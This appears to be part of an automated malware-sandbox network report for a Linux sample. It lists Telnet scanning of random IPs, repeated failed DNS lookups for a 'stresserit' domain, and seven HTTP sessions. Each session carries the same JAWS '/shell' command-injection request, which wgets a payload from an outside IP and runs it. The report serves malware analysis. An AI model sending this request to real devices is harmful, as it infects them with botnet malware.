Dec 3, 2024 21:02:04.968694925 CET	19873	23	192.168.2.23	204.29.75.126
Dec 3, 2024 21:02:04.968700886 CET	19873	23	192.168.2.23	122.18.225.55
Dec 3, 2024 21:02:04.968709946 CET	19873	23	192.168.2.23	138.101.203.177
Dec 3, 2024 21:02:04.968718052 CET	19873	23	192.168.2.23	101.140.154.93

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 21:01:55.121346951 CET	192.168.2.23	8.8.8.8	0x9ccf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:55.712373018 CET	192.168.2.23	8.8.8.8	0x9ccf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.216504097 CET	192.168.2.23	8.8.8.8	0x9ccf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.469676971 CET	192.168.2.23	8.8.8.8	0x9ccf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.724917889 CET	192.168.2.23	8.8.8.8	0x9ccf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.025775909 CET	192.168.2.23	8.8.8.8	0x5eda	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.280524969 CET	192.168.2.23	8.8.8.8	0x5eda	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.530447960 CET	192.168.2.23	8.8.8.8	0x5eda	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.670192957 CET	192.168.2.23	8.8.8.8	0x5eda	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:21.146593094 CET	192.168.2.23	8.8.8.8	0x5eda	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:27.393224955 CET	192.168.2.23	8.8.8.8	0xf8e3	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:27.869142056 CET	192.168.2.23	8.8.8.8	0xf8e3	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.261199951 CET	192.168.2.23	8.8.8.8	0xf8e3	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.512598038 CET	192.168.2.23	8.8.8.8	0xf8e3	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.762504101 CET	192.168.2.23	8.8.8.8	0xf8e3	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:30.254069090 CET	192.168.2.23	8.8.8.8	0x6064	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:30.505841970 CET	192.168.2.23	8.8.8.8	0x6064	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:30.760318041 CET	192.168.2.23	8.8.8.8	0x6064	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:31.232426882 CET	192.168.2.23	8.8.8.8	0x6064	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:31.485886097 CET	192.168.2.23	8.8.8.8	0x6064	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:34.220282078 CET	192.168.2.23	8.8.8.8	0xb54a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:34.475918055 CET	192.168.2.23	8.8.8.8	0xb54a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:34.868732929 CET	192.168.2.23	8.8.8.8	0xb54a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:35.261699915 CET	192.168.2.23	8.8.8.8	0xb54a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:35.735460997 CET	192.168.2.23	8.8.8.8	0xb54a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:37.113498926 CET	192.168.2.23	8.8.8.8	0xa1ed	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:37.364295006 CET	192.168.2.23	8.8.8.8	0xa1ed	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:42.369370937 CET	192.168.2.23	8.8.8.8	0xa1ed	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:42.618357897 CET	192.168.2.23	8.8.8.8	0xa1ed	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:43.090244055 CET	192.168.2.23	8.8.8.8	0xa1ed	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:50.346121073 CET	192.168.2.23	8.8.8.8	0x39af	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:55.351110935 CET	192.168.2.23	8.8.8.8	0x39af	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:55.832627058 CET	192.168.2.23	8.8.8.8	0x39af	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:56.083440065 CET	192.168.2.23	8.8.8.8	0x39af	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:01.086112976 CET	192.168.2.23	8.8.8.8	0x39af	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:02.582573891 CET	192.168.2.23	8.8.8.8	0xa4b0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:02.834917068 CET	192.168.2.23	8.8.8.8	0xa4b0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.233566046 CET	192.168.2.23	8.8.8.8	0xa4b0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.483540058 CET	192.168.2.23	8.8.8.8	0xa4b0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.733556032 CET	192.168.2.23	8.8.8.8	0xa4b0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.228321075 CET	192.168.2.23	8.8.8.8	0x8ef2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.480770111 CET	192.168.2.23	8.8.8.8	0x8ef2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.736063957 CET	192.168.2.23	8.8.8.8	0x8ef2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.873662949 CET	192.168.2.23	8.8.8.8	0x8ef2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:06.130003929 CET	192.168.2.23	8.8.8.8	0x8ef2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:12.374674082 CET	192.168.2.23	8.8.8.8	0x19ba	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:12.626827002 CET	192.168.2.23	8.8.8.8	0x19ba	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:13.102319956 CET	192.168.2.23	8.8.8.8	0x19ba	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:18.103842020 CET	192.168.2.23	8.8.8.8	0x19ba	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:23.109251022 CET	192.168.2.23	8.8.8.8	0x19ba	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:24.487473011 CET	192.168.2.23	8.8.8.8	0x91c7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:24.883380890 CET	192.168.2.23	8.8.8.8	0x91c7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.134293079 CET	192.168.2.23	8.8.8.8	0x91c7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.391746998 CET	192.168.2.23	8.8.8.8	0x91c7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.646162987 CET	192.168.2.23	8.8.8.8	0x91c7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:27.362832069 CET	192.168.2.23	8.8.8.8	0xa5c6	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:27.836936951 CET	192.168.2.23	8.8.8.8	0xa5c6	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.088572979 CET	192.168.2.23	8.8.8.8	0xa5c6	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.489284039 CET	192.168.2.23	8.8.8.8	0xa5c6	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.739347935 CET	192.168.2.23	8.8.8.8	0xa5c6	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:34.986067057 CET	192.168.2.23	8.8.8.8	0xb495	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.237165928 CET	192.168.2.23	8.8.8.8	0xb495	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.372386932 CET	192.168.2.23	8.8.8.8	0xb495	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.762968063 CET	192.168.2.23	8.8.8.8	0xb495	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:40.768255949 CET	192.168.2.23	8.8.8.8	0xb495	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:43.299879074 CET	192.168.2.23	8.8.8.8	0xe3e9	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:43.691337109 CET	192.168.2.23	8.8.8.8	0xe3e9	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.165179014 CET	192.168.2.23	8.8.8.8	0xe3e9	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.637532949 CET	192.168.2.23	8.8.8.8	0xe3e9	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.896186113 CET	192.168.2.23	8.8.8.8	0xe3e9	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:46.397571087 CET	192.168.2.23	8.8.8.8	0xe6c0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:46.791255951 CET	192.168.2.23	8.8.8.8	0xe6c0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.042532921 CET	192.168.2.23	8.8.8.8	0xe6c0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.179208040 CET	192.168.2.23	8.8.8.8	0xe6c0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.429012060 CET	192.168.2.23	8.8.8.8	0xe6c0	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:49.143593073 CET	192.168.2.23	8.8.8.8	0xff33	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:49.433927059 CET	192.168.2.23	8.8.8.8	0xff33	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:54.438976049 CET	192.168.2.23	8.8.8.8	0xff33	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:54.688926935 CET	192.168.2.23	8.8.8.8	0xff33	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:54.939943075 CET	192.168.2.23	8.8.8.8	0xff33	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:56.433152914 CET	192.168.2.23	8.8.8.8	0xf2f4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:56.683906078 CET	192.168.2.23	8.8.8.8	0xf2f4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 21:01:55.710838079 CET	8.8.8.8	192.168.2.23	0x9ccf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.214963913 CET	8.8.8.8	192.168.2.23	0x9ccf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.468125105 CET	8.8.8.8	192.168.2.23	0x9ccf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.723165035 CET	8.8.8.8	192.168.2.23	0x9ccf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:01:56.974232912 CET	8.8.8.8	192.168.2.23	0x9ccf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.280004025 CET	8.8.8.8	192.168.2.23	0x5eda	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.529881001 CET	8.8.8.8	192.168.2.23	0x5eda	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:20.669539928 CET	8.8.8.8	192.168.2.23	0x5eda	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:21.145975113 CET	8.8.8.8	192.168.2.23	0x5eda	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:27.868443966 CET	8.8.8.8	192.168.2.23	0xf8e3	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.260384083 CET	8.8.8.8	192.168.2.23	0xf8e3	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.511826992 CET	8.8.8.8	192.168.2.23	0xf8e3	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:28.761708021 CET	8.8.8.8	192.168.2.23	0xf8e3	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:29.011909962 CET	8.8.8.8	192.168.2.23	0xf8e3	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:30.505218029 CET	8.8.8.8	192.168.2.23	0x6064	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:30.759565115 CET	8.8.8.8	192.168.2.23	0x6064	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:31.231733084 CET	8.8.8.8	192.168.2.23	0x6064	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:31.485172033 CET	8.8.8.8	192.168.2.23	0x6064	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:31.957500935 CET	8.8.8.8	192.168.2.23	0x6064	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:34.475398064 CET	8.8.8.8	192.168.2.23	0xb54a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:34.868093967 CET	8.8.8.8	192.168.2.23	0xb54a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:35.260982037 CET	8.8.8.8	192.168.2.23	0xb54a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:35.734749079 CET	8.8.8.8	192.168.2.23	0xb54a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:35.871260881 CET	8.8.8.8	192.168.2.23	0xb54a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:37.363034964 CET	8.8.8.8	192.168.2.23	0xa1ed	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:42.617732048 CET	8.8.8.8	192.168.2.23	0xa1ed	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:43.089240074 CET	8.8.8.8	192.168.2.23	0xa1ed	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:55.831965923 CET	8.8.8.8	192.168.2.23	0x39af	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:02:56.082752943 CET	8.8.8.8	192.168.2.23	0x39af	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:01.340488911 CET	8.8.8.8	192.168.2.23	0x39af	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:02.834244967 CET	8.8.8.8	192.168.2.23	0xa4b0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.232788086 CET	8.8.8.8	192.168.2.23	0xa4b0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.482815981 CET	8.8.8.8	192.168.2.23	0xa4b0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.732949972 CET	8.8.8.8	192.168.2.23	0xa4b0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:03.984925032 CET	8.8.8.8	192.168.2.23	0xa4b0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.480063915 CET	8.8.8.8	192.168.2.23	0x8ef2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.735383034 CET	8.8.8.8	192.168.2.23	0x8ef2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:05.873095989 CET	8.8.8.8	192.168.2.23	0x8ef2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:06.129067898 CET	8.8.8.8	192.168.2.23	0x8ef2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:12.626270056 CET	8.8.8.8	192.168.2.23	0x19ba	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:13.101629019 CET	8.8.8.8	192.168.2.23	0x19ba	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:23.244515896 CET	8.8.8.8	192.168.2.23	0x19ba	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:24.882735014 CET	8.8.8.8	192.168.2.23	0x91c7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.133557081 CET	8.8.8.8	192.168.2.23	0x91c7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.391047001 CET	8.8.8.8	192.168.2.23	0x91c7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:25.645395994 CET	8.8.8.8	192.168.2.23	0x91c7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:26.120471001 CET	8.8.8.8	192.168.2.23	0x91c7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:27.836359978 CET	8.8.8.8	192.168.2.23	0xa5c6	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.087802887 CET	8.8.8.8	192.168.2.23	0xa5c6	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.488543987 CET	8.8.8.8	192.168.2.23	0xa5c6	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:28.738621950 CET	8.8.8.8	192.168.2.23	0xa5c6	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.236490011 CET	8.8.8.8	192.168.2.23	0xb495	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.371743917 CET	8.8.8.8	192.168.2.23	0xb495	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:35.762185097 CET	8.8.8.8	192.168.2.23	0xb495	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:41.026134014 CET	8.8.8.8	192.168.2.23	0xb495	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:43.690617085 CET	8.8.8.8	192.168.2.23	0xe3e9	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.164653063 CET	8.8.8.8	192.168.2.23	0xe3e9	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.636796951 CET	8.8.8.8	192.168.2.23	0xe3e9	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:44.895520926 CET	8.8.8.8	192.168.2.23	0xe3e9	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:45.155699968 CET	8.8.8.8	192.168.2.23	0xe3e9	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:46.790404081 CET	8.8.8.8	192.168.2.23	0xe6c0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.041465998 CET	8.8.8.8	192.168.2.23	0xe6c0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.178119898 CET	8.8.8.8	192.168.2.23	0xe6c0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.428478956 CET	8.8.8.8	192.168.2.23	0xe6c0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:47.901420116 CET	8.8.8.8	192.168.2.23	0xe6c0	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:49.433397055 CET	8.8.8.8	192.168.2.23	0xff33	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:54.688262939 CET	8.8.8.8	192.168.2.23	0xff33	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:54.939363003 CET	8.8.8.8	192.168.2.23	0xff33	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:55.191006899 CET	8.8.8.8	192.168.2.23	0xff33	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:03:56.682914019 CET	8.8.8.8	192.168.2.23	0xf2f4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	56418	136.20.109.63	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:01:58.254656076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	56710	191.53.63.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:01:58.256110907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	47430	184.159.156.181	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:01:58.375664949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	46808	112.114.37.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:00.629363060 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	36932	107.166.91.165	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:00.748780966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	58748	50.35.187.51	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:00.749433041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	60720	111.124.66.113	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:00.749969006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

